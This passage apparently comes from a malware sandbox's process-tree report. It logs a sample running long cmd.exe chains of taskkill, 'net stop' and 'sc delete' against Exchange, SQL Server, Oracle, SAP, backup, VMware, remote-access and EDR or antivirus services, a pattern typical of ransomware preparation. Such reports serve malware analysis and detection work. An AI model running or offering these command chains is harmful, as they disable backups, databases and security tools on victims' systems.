  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM MSExchangeTransportLogSearch.exe
      4⤵
      PID:4532
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Microsoft.Exchange.RpcClientAccess.Service.exe
      4⤵
      PID:4764
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Microsoft.Exchange.AddressBook.Service.exe
      4⤵
      Kills process with taskkill
      PID:4392
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM DataCollectorSvc.exe
      4⤵
      PID:4116
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Microsoft.Exchange.ServiceHost.exe
      4⤵
      Kills process with taskkill
      PID:2368
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Microsoft.Exchange.ContentFilter.Wrapper.exe
      4⤵
      PID:2816
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM MSExchangeMailboxAssistants.exe
      4⤵
      Kills process with taskkill
      PID:4624
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM msexchangerepl.exe
      4⤵
      PID:452
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Microsoft.Exchange.Search.ExSearch.exe
      4⤵
      PID:5108
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Microsoft.Exchange.EdgeSyncSvc.exe
      4⤵
      PID:4852
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM MsExchangeFDS.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3512
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM MSExchangeMailSubmission.exe
      4⤵
      PID:3972
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM MSExchangeTransport.exe
      4⤵
      PID:1712
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Microsoft.Exchange.AntispamUpdateSvc.exe
      4⤵
      PID:300
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color b & a & @taskkill /IM DDSoftPwsTomcat9.exe /F & @taskkill /IM U8SmartClient.exe /F & @taskkill /IM U8SmartClientMonitor.exe /F & @taskkill /IM tomcat9.exe /F & @taskkill /IM SqlManagement.exe /F & @sc delete "SiebelApplicationContainer_Siebel_Home_d_Siebel_sai" & @taskkill /IM ReportingServicesService.exe /F & @sc delete "ReportServer$SQLEXPRESS" & @sc delete TongBackupSrv & @taskkill /IM TongBackupSrv.exe /F & @taskkill /IM UFMsgCenterService.exe /F & @taskkill /IM "Cobian.exe" /F & @taskkill /IM "SAP Business One.exe" /F & @net stop "SQLBackupAndFTP Client Service" & @taskkill /IM "SqlBak.Service.exe" /F & @net stop cbVSCService & @net stop "SAP Business One RSP Agent Service" & @net stop SAPB1iDIProxy & @net stop "SAPB1iDIProxy_Monitor" & @net stop SAPB1iEventSender & @net stop SBOClientAgent & @net stop SBODI_Server & @net stop SBOJobServiceBackEnd & @net stop SBOMail & @net stop SBOWFDataAccess & @net stop SBOWorkflowEngine"
    3⤵
    PID:4084
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM DDSoftPwsTomcat9.exe /F
      4⤵
      PID:2704
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM U8SmartClient.exe /F
      4⤵
      PID:4384
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM U8SmartClientMonitor.exe /F
      4⤵
      PID:4620
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM tomcat9.exe /F
      4⤵
      PID:4980
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM SqlManagement.exe /F
      4⤵
      PID:4720
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "SiebelApplicationContainer_Siebel_Home_d_Siebel_sai"
      4⤵
      PID:4156
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ReportingServicesService.exe /F
      4⤵
      PID:4800
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "ReportServer$SQLEXPRESS"
      4⤵
      PID:4716
  - - C:\Windows\SysWOW64\sc.exe
      sc delete TongBackupSrv
      4⤵
      PID:4836
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM TongBackupSrv.exe /F
      4⤵
      PID:4140
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM UFMsgCenterService.exe /F
      4⤵
      PID:296
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM "Cobian.exe" /F
      4⤵
      PID:1932
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM "SAP Business One.exe" /F
      4⤵
      PID:4380
  - - C:\Windows\SysWOW64\net.exe
      net stop "SQLBackupAndFTP Client Service"
      4⤵
      PID:4940
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLBackupAndFTP Client Service"
        5⤵
        
        PID:2356
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM "SqlBak.Service.exe" /F
      4⤵
      PID:2504
  - - C:\Windows\SysWOW64\net.exe
      net stop cbVSCService
      4⤵
      PID:1596
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop cbVSCService
        5⤵
        
        PID:5000
  - - C:\Windows\SysWOW64\net.exe
      net stop "SAP Business One RSP Agent Service"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:308
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SAP Business One RSP Agent Service"
        5⤵
        
        PID:2648
  - - C:\Windows\SysWOW64\net.exe
      net stop SAPB1iDIProxy
      4⤵
      PID:696
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SAPB1iDIProxy
        5⤵
        
        PID:4556
  - - C:\Windows\SysWOW64\net.exe
      net stop "SAPB1iDIProxy_Monitor"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4720
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SAPB1iDIProxy_Monitor"
        5⤵
        
        PID:4716
  - - C:\Windows\SysWOW64\net.exe
      net stop SAPB1iEventSender
      4⤵
      PID:1296
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SAPB1iEventSender
        5⤵
        
        PID:1852
  - - C:\Windows\SysWOW64\net.exe
      net stop SBOClientAgent
      4⤵
      PID:724
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SBOClientAgent
        5⤵
        
        PID:3632
  - - C:\Windows\SysWOW64\net.exe
      net stop SBODI_Server
      4⤵
      PID:4616
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SBODI_Server
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4828
  - - C:\Windows\SysWOW64\net.exe
      net stop SBOJobServiceBackEnd
      4⤵
      PID:2592
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SBOJobServiceBackEnd
        5⤵
        
        PID:5096
  - - C:\Windows\SysWOW64\net.exe
      net stop SBOMail
      4⤵
      PID:1816
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SBOMail
        5⤵
        
        PID:4452
  - - C:\Windows\SysWOW64\net.exe
      net stop SBOWFDataAccess
      4⤵
      PID:5028
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SBOWFDataAccess
        5⤵
        
        PID:3092
  - - C:\Windows\SysWOW64\net.exe
      net stop SBOWorkflowEngine
      4⤵
      PID:2368
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SBOWorkflowEngine
        5⤵
        
        PID:1748
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color b & a & @sc delete "XT800Service_Personal" & @sc delete SQLSERVERAGENT & @sc delete SQLWriter & @sc delete SQLBrowser & @sc delete MSSQLFDLauncher & @sc delete MSSQLSERVER & @sc delete QcSoftService & @sc delete MSSQLServerOLAPService & @sc delete VMTools & @sc delete VGAuthService & @sc delete MSDTC & @sc delete TeamViewer & @sc delete ReportServer & @sc delete RabbitMQ & @sc delete "AHS SERVICE" & @sc delete "Sense Shield Service" & @sc delete SSMonitorService & @sc delete SSSyncService & @sc delete TPlusStdAppService1300 & @sc delete MSSQL$SQL2008 & @sc delete SQLAgent$SQL2008 & @sc delete TPlusStdTaskService1300 & @sc delete TPlusStdUpgradeService1300 & @sc delete VirboxWebServer & @sc delete jhi_service & @sc delete LMS & @sc delete "FontCache3.0.0.0" & @sc delete "OSP Service""
    3⤵
    PID:380
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "XT800Service_Personal"
      4⤵
      PID:612
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SQLSERVERAGENT
      4⤵
      PID:3396
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SQLWriter
      4⤵
      PID:3260
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SQLBrowser
      4⤵
      PID:2528
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MSSQLFDLauncher
      4⤵
      PID:4332
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MSSQLSERVER
      4⤵
      PID:4628
  - - C:\Windows\SysWOW64\sc.exe
      sc delete QcSoftService
      4⤵
      PID:4780
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MSSQLServerOLAPService
      4⤵
      PID:4984
  - - C:\Windows\SysWOW64\sc.exe
      sc delete VMTools
      4⤵
      PID:3440
  - - C:\Windows\SysWOW64\sc.exe
      sc delete VGAuthService
      4⤵
      PID:4100
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MSDTC
      4⤵
      PID:4728
  - - C:\Windows\SysWOW64\sc.exe
      sc delete TeamViewer
      4⤵
      PID:4644
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ReportServer
      4⤵
      PID:3532
  - - C:\Windows\SysWOW64\sc.exe
      sc delete RabbitMQ
      4⤵
      PID:5052
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "AHS SERVICE"
      4⤵
      PID:4640
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "Sense Shield Service"
      4⤵
      PID:4708
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SSMonitorService
      4⤵
      PID:4748
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SSSyncService
      4⤵
      PID:3644
  - - C:\Windows\SysWOW64\sc.exe
      sc delete TPlusStdAppService1300
      4⤵
      PID:4964
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MSSQL$SQL2008
      4⤵
      PID:4504
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SQLAgent$SQL2008
      4⤵
      PID:4392
  - - C:\Windows\SysWOW64\sc.exe
      sc delete TPlusStdTaskService1300
      4⤵
      PID:4548
  - - C:\Windows\SysWOW64\sc.exe
      sc delete VirboxWebServer
      4⤵
      PID:4328
  - - C:\Windows\SysWOW64\sc.exe
      sc delete jhi_service
      4⤵
      PID:5064
  - - C:\Windows\SysWOW64\sc.exe
      sc delete LMS
      4⤵
      PID:4852
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "FontCache3.0.0.0"
      4⤵
      PID:4364
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "OSP Service"
      4⤵
      PID:3532
  - - C:\Windows\SysWOW64\sc.exe
      sc delete TPlusStdUpgradeService1300
      4⤵
      PID:3644
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color b & @sc delete "DAService_TCP" & @sc delete "eCard-TTransServer" & @sc delete eCardMPService & @sc delete EnergyDataService & @sc delete UI0Detect & @sc delete K3MobileService & @sc delete TCPIDDAService & @sc delete WebAttendServer & @sc delete UIODetect & @sc delete "wanxiao-monitor" & @sc delete VMAuthdService & @sc delete VMUSBArbService & @sc delete VMwareHostd & @sc delete "vm-agent" & @sc delete VmAgentDaemon & @sc delete OpenSSHd & @sc delete eSightService & @sc delete apachezt & @sc delete Jenkins & @sc delete secbizsrv & @sc delete SQLTELEMETRY & @sc delete MSMQ & @sc delete smtpsvrJT & @sc delete zyb_sync & @sc delete 360EntHttpServer & @sc delete 360EntSvc & @sc delete 360EntClientSvc & @sc delete NFWebServer & @sc delete wampapache & @sc delete MSSEARCH & @sc delete msftesql & @sc delete "SyncBASE Service" & @sc delete OracleDBConcoleorcl & @sc delete OracleJobSchedulerORCL & @sc delete OracleMTSRecoveryService"
    3⤵
    PID:1804
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "DAService_TCP"
      4⤵
      PID:1080
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "eCard-TTransServer"
      4⤵
      PID:288
  - - C:\Windows\SysWOW64\sc.exe
      sc delete EnergyDataService
      4⤵
      PID:4360
  - - C:\Windows\SysWOW64\sc.exe
      sc delete eCardMPService
      4⤵
      PID:1540
  - - C:\Windows\SysWOW64\sc.exe
      sc delete UI0Detect
      4⤵
      PID:4636
  - - C:\Windows\SysWOW64\sc.exe
      sc delete K3MobileService
      4⤵
      PID:4848
  - - C:\Windows\SysWOW64\sc.exe
      sc delete TCPIDDAService
      4⤵
      PID:5040
  - - C:\Windows\SysWOW64\sc.exe
      sc delete WebAttendServer
      4⤵
      PID:3416
  - - C:\Windows\SysWOW64\sc.exe
      sc delete UIODetect
      4⤵
      PID:4144
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "wanxiao-monitor"
      4⤵
      PID:4624
  - - C:\Windows\SysWOW64\sc.exe
      sc delete VMAuthdService
      4⤵
      PID:1228
  - - C:\Windows\SysWOW64\sc.exe
      sc delete VMUSBArbService
      4⤵
      PID:5104
  - - C:\Windows\SysWOW64\sc.exe
      sc delete VMwareHostd
      4⤵
      PID:4140
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "vm-agent"
      4⤵
      PID:2844
  - - C:\Windows\SysWOW64\sc.exe
      sc delete VmAgentDaemon
      4⤵
      PID:2704
  - - C:\Windows\SysWOW64\sc.exe
      sc delete eSightService
      4⤵
      PID:3100
  - - C:\Windows\SysWOW64\sc.exe
      sc delete apachezt
      4⤵
      PID:1212
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OpenSSHd
      4⤵
      PID:4656
  - - C:\Windows\SysWOW64\sc.exe
      sc delete Jenkins
      4⤵
      PID:2000
  - - C:\Windows\SysWOW64\sc.exe
      sc delete secbizsrv
      4⤵
      PID:3892
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SQLTELEMETRY
      4⤵
      PID:4692
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MSMQ
      4⤵
      PID:4836
  - - C:\Windows\SysWOW64\sc.exe
      sc delete smtpsvrJT
      4⤵
      PID:4648
  - - C:\Windows\SysWOW64\sc.exe
      sc delete zyb_sync
      4⤵
      PID:2732
  - - C:\Windows\SysWOW64\sc.exe
      sc delete 360EntHttpServer
      4⤵
      PID:4772
  - - C:\Windows\SysWOW64\sc.exe
      sc delete 360EntSvc
      4⤵
      PID:4656
  - - C:\Windows\SysWOW64\sc.exe
      sc delete 360EntClientSvc
      4⤵
      PID:308
  - - C:\Windows\SysWOW64\sc.exe
      sc delete wampapache
      4⤵
      PID:5084
  - - C:\Windows\SysWOW64\sc.exe
      sc delete NFWebServer
      4⤵
      PID:4940
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MSSEARCH
      4⤵
      PID:4476
  - - C:\Windows\SysWOW64\sc.exe
      sc delete msftesql
      4⤵
      PID:4544
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "SyncBASE Service"
      4⤵
      PID:2704
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OracleDBConcoleorcl
      4⤵
      PID:4748
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OracleJobSchedulerORCL
      4⤵
      PID:4676
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OracleMTSRecoveryService
      4⤵
      PID:8
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color b & @sc delete OracleOraDb11g_home1ClrAgent & @sc delete OracleOraDb11g_home1TNSListener & @sc delete OracleVssWriterORCL & @sc delete OracleServiceORCL & @sc delete aspnet_state @sc delete Redis & @sc delete OracleVssWriterORCL & @sc delete JhTask & @sc delete ImeDictUpdateService & @sc delete XT800Service_Personal & @sc delete MCService & @sc delete ImeDictUpdateService & @sc delete allpass_redisservice_port21160 & @sc delete "Flash Helper Service" & @sc delete "Kiwi Syslog Server" & @sc delete "UWS HiPriv Services" & net stop MSSQL$FE_EXPRESS"
    3⤵
    PID:2836
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OracleOraDb11g_home1ClrAgent
      4⤵
      PID:4116
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OracleOraDb11g_home1TNSListener
      4⤵
      PID:4436
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OracleVssWriterORCL
      4⤵
      PID:4704
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OracleServiceORCL
      4⤵
      PID:4868
  - - C:\Windows\SysWOW64\sc.exe
      sc delete aspnet_state @sc delete Redis
      4⤵
      PID:5072
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OracleVssWriterORCL
      4⤵
      PID:2000
  - - C:\Windows\SysWOW64\sc.exe
      sc delete JhTask
      4⤵
      PID:1752
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ImeDictUpdateService
      4⤵
      PID:4656
  - - C:\Windows\SysWOW64\sc.exe
      sc delete XT800Service_Personal
      4⤵
      PID:5040
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MCService
      4⤵
      PID:1296
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ImeDictUpdateService
      4⤵
      PID:4104
  - - C:\Windows\SysWOW64\sc.exe
      sc delete allpass_redisservice_port21160
      4⤵
      PID:4160
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "Flash Helper Service"
      4⤵
      PID:4660
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "Kiwi Syslog Server"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2648
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "UWS HiPriv Services"
      4⤵
      PID:4876
  - - C:\Windows\SysWOW64\net.exe
      net stop MSSQL$FE_EXPRESS
      4⤵
      PID:60
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSSQL$FE_EXPRESS
        5⤵
        
        PID:3992
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color b & @taskkill /IM ReportingServicesService.exe /F & @sc delete "SQL Server Reporting Services" & @sc delete MSSQLFDLauncher & @taskkill /IM U8CEServer.exe /F & @taskkill /IM ServerNT.exe /F & @net stop UFNet & @taskkill /IM MessageNotification.exe /F & @taskkill /IM cbVSCService11.exe /F & @taskkill /IM cbService.exe /F & @sc delete cbVSCService11 & @sc delete CobianBackup11"
    3⤵
    PID:1168
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ReportingServicesService.exe /F
      4⤵
      PID:4488
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "SQL Server Reporting Services"
      4⤵
      PID:5040
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MSSQLFDLauncher
      4⤵
      PID:4780
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM U8CEServer.exe /F
      4⤵
      PID:4112
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ServerNT.exe /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4832
  - - C:\Windows\SysWOW64\net.exe
      net stop UFNet
      4⤵
      PID:3612
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM MessageNotification.exe /F
      4⤵
      PID:5108
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM cbVSCService11.exe /F
      4⤵
      PID:2816
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM cbService.exe /F
      4⤵
      PID:4336
  - - C:\Windows\SysWOW64\sc.exe
      sc delete cbVSCService11
      4⤵
      PID:4912
  - - C:\Windows\SysWOW64\sc.exe
      sc delete CobianBackup11
      4⤵
      PID:4604
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "@color b & sc delete MSCRMAsyncService & @sc delete REPLICA & @sc delete RTCATS & @sc delete RTCAVMCU & @sc delete RtcQms & @sc delete RTCMEETINGMCU & @sc delete RTCIMMCU & @sc delete RTCDATAMCU & @sc delete RTCCDR & @sc delete ProjectEventService16 & @sc delete ProjectQueueService16 & @sc delete SPAdminV4 & @sc delete SPSearchHostController & @sc delete SPTimerV4 & @sc delete SPTraceV4 & @sc delete OSearch16 & @sc delete ProjectCalcService16 & @sc delete c2wts & @sc delete AppFabricCachingService & @sc delete ADWS & @sc delete MotionBoard57 & @sc delete MotionBoardRCService57 & @sc delete vsvnjobsvc & @sc delete VisualSVNServer & @sc delete "FlexNet Licensing Service 64" & @sc delete BestSyncSvc & @sc delete LPManager & @sc delete MediatekRegistryWriter & @sc delete RaAutoInstSrv_RT2870 & @sc delete CobianBackup10 & @sc delete SQLANYs_sem5 & @sc delete CASLicenceServer & @sc delete SQLService & @sc delete semwebsrv & @sc delete TbossSystem & @sc delete ErpEnvSvc & @sc delete Mysoft.Autoupgrade.DispatchService & @sc delete Mysoft.Autoupgrade.UpdateService & @sc delete Mysoft.Config.WindowsService & @sc delete Mysoft.DataCenterService & @sc delete Mysoft.SchedulingService & @sc delete Mysoft.Setup.InstallService & @sc delete MysoftUpdate & @sc delete edr_monitor & @sc delete abs_deployer & @sc delete savsvc & @sc delete ShareBoxMonitorService & @sc delete ShareBoxService & @sc delete CloudExchangeService & @sc delete "U8WorkerService2" & @sc delete CIS & @sc delete EASService & @sc delete KICkSvr & @sc delete "OSP Service" & @sc delete U8SmsSrv & @sc delete OfficeClearCache & @sc delete TurboCRM70 & @sc delete U8DispatchService & @sc delete U8EISService & @sc delete U8EncryptService & @sc delete U8GCService & @sc delete U8KeyManagePool & @sc delete "U8MPool" & @sc delete U8SCMPool & @sc delete U8SLReportService & @sc delete U8TaskService & @sc delete "U8WebPool" & @sc delete UFAllNet & @sc delete UFReportService & @sc delete UTUService & @sc delete "U8WorkerService1""
    3⤵
    PID:1808
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MSCRMAsyncService
      4⤵
      PID:4500
  - - C:\Windows\SysWOW64\sc.exe
      sc delete REPLICA
      4⤵
      PID:4684
  - - C:\Windows\SysWOW64\sc.exe
      sc delete RTCATS
      4⤵
      PID:4952
  - - C:\Windows\SysWOW64\sc.exe
      sc delete RTCAVMCU
      4⤵
      PID:1296
  - - C:\Windows\SysWOW64\sc.exe
      sc delete RtcQms
      4⤵
      PID:1816
  - - C:\Windows\SysWOW64\sc.exe
      sc delete RTCMEETINGMCU
      4⤵
      PID:4392
  - - C:\Windows\SysWOW64\sc.exe
      sc delete RTCIMMCU
      4⤵
      PID:4692
  - - C:\Windows\SysWOW64\sc.exe
      sc delete RTCDATAMCU
      4⤵
      PID:5116
  - - C:\Windows\SysWOW64\sc.exe
      sc delete RTCCDR
      4⤵
      PID:5016
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ProjectEventService16
      4⤵
      PID:3316
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ProjectQueueService16
      4⤵
      PID:4628
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SPAdminV4
      4⤵
      PID:4796
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SPSearchHostController
      4⤵
      PID:4952
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SPTimerV4
      4⤵
      PID:4984
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SPTraceV4
      4⤵
      PID:4224
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ProjectCalcService16
      4⤵
      PID:4656
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OSearch16
      4⤵
      PID:4432
  - - C:\Windows\SysWOW64\sc.exe
      sc delete AppFabricCachingService
      4⤵
      PID:2464
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ADWS
      4⤵
      PID:3616
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MotionBoardRCService57
      4⤵
      PID:4732
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MotionBoard57
      4⤵
      PID:4392
  - - C:\Windows\SysWOW64\sc.exe
      sc delete vsvnjobsvc
      4⤵
      PID:4556
  - - C:\Windows\SysWOW64\sc.exe
      sc delete c2wts
      4⤵
      PID:4448
  - - C:\Windows\SysWOW64\sc.exe
      sc delete VisualSVNServer
      4⤵
      PID:4452
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "FlexNet Licensing Service 64"
      4⤵
      PID:4976
  - - C:\Windows\SysWOW64\sc.exe
      sc delete BestSyncSvc
      4⤵
      PID:4612
  - - C:\Windows\SysWOW64\sc.exe
      sc delete LPManager
      4⤵
      PID:2204
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MediatekRegistryWriter
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:60
  - - C:\Windows\SysWOW64\sc.exe
      sc delete RaAutoInstSrv_RT2870
      4⤵
      PID:5068
  - - C:\Windows\SysWOW64\sc.exe
      sc delete CobianBackup10
      4⤵
      PID:1620
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SQLANYs_sem5
      4⤵
      PID:1856
  - - C:\Windows\SysWOW64\sc.exe
      sc delete CASLicenceServer
      4⤵
      PID:2832
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SQLService
      4⤵
      PID:4984
  - - C:\Windows\SysWOW64\sc.exe
      sc delete semwebsrv
      4⤵
      PID:1816
  - - C:\Windows\SysWOW64\sc.exe
      sc delete TbossSystem
      4⤵
      PID:5108
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ErpEnvSvc
      4⤵
      PID:280
  - - C:\Windows\SysWOW64\sc.exe
      sc delete Mysoft.Autoupgrade.DispatchService
      4⤵
      PID:1752
  - - C:\Windows\SysWOW64\sc.exe
      sc delete Mysoft.Autoupgrade.UpdateService
      4⤵
      PID:768
  - - C:\Windows\SysWOW64\sc.exe
      sc delete Mysoft.Config.WindowsService
      4⤵
      PID:4452
  - - C:\Windows\SysWOW64\sc.exe
      sc delete Mysoft.DataCenterService
      4⤵
      PID:4884
  - - C:\Windows\SysWOW64\sc.exe
      sc delete Mysoft.SchedulingService
      4⤵
      PID:4984
  - - C:\Windows\SysWOW64\sc.exe
      sc delete Mysoft.Setup.InstallService
      4⤵
      PID:3512
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MysoftUpdate
      4⤵
      PID:4448
  - - C:\Windows\SysWOW64\sc.exe
      sc delete edr_monitor
      4⤵
      PID:4516
  - - C:\Windows\SysWOW64\sc.exe
      sc delete abs_deployer
      4⤵
      PID:2320
  - - C:\Windows\SysWOW64\sc.exe
      sc delete savsvc
      4⤵
      PID:5004
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ShareBoxMonitorService
      4⤵
      PID:4776
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ShareBoxService
      4⤵
      PID:4376
  - - C:\Windows\SysWOW64\sc.exe
      sc delete CloudExchangeService
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3532
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "U8WorkerService2"
      4⤵
      PID:296
  - - C:\Windows\SysWOW64\sc.exe
      sc delete EASService
      4⤵
      PID:3512
  - - C:\Windows\SysWOW64\sc.exe
      sc delete CIS
      4⤵
      PID:4872
  - - C:\Windows\SysWOW64\sc.exe
      sc delete KICkSvr
      4⤵
      PID:4448
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "OSP Service"
      4⤵
      PID:4564
  - - C:\Windows\SysWOW64\sc.exe
      sc delete U8SmsSrv
      4⤵
      PID:4660
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OfficeClearCache
      4⤵
      PID:4656
  - - C:\Windows\SysWOW64\sc.exe
      sc delete TurboCRM70
      4⤵
      PID:1968
  - - C:\Windows\SysWOW64\sc.exe
      sc delete U8DispatchService
      4⤵
      PID:4696
  - - C:\Windows\SysWOW64\sc.exe
      sc delete U8EISService
      4⤵
      PID:4632
  - - C:\Windows\SysWOW64\sc.exe
      sc delete U8EncryptService
      4⤵
      PID:4704
  - - C:\Windows\SysWOW64\sc.exe
      sc delete U8GCService
      4⤵
      PID:4548
  - - C:\Windows\SysWOW64\sc.exe
      sc delete U8KeyManagePool
      4⤵
      PID:308
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "U8MPool"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4460
  - - C:\Windows\SysWOW64\sc.exe
      sc delete U8SCMPool
      4⤵
      PID:4560
  - - C:\Windows\SysWOW64\sc.exe
      sc delete U8SLReportService
      4⤵
      PID:2184
  - - C:\Windows\SysWOW64\sc.exe
      sc delete U8TaskService
      4⤵
      PID:2320
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "U8WebPool"
      4⤵
      PID:5096
  - - C:\Windows\SysWOW64\sc.exe
      sc delete UFAllNet
      4⤵
      PID:4680
  - - C:\Windows\SysWOW64\sc.exe
      sc delete UFReportService
      4⤵
      PID:4948
  - - C:\Windows\SysWOW64\sc.exe
      sc delete UTUService
      4⤵
      PID:4556
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "U8WorkerService1"
      4⤵
      PID:3644
- - C:\Windows\SysWOW64\cmd.exe
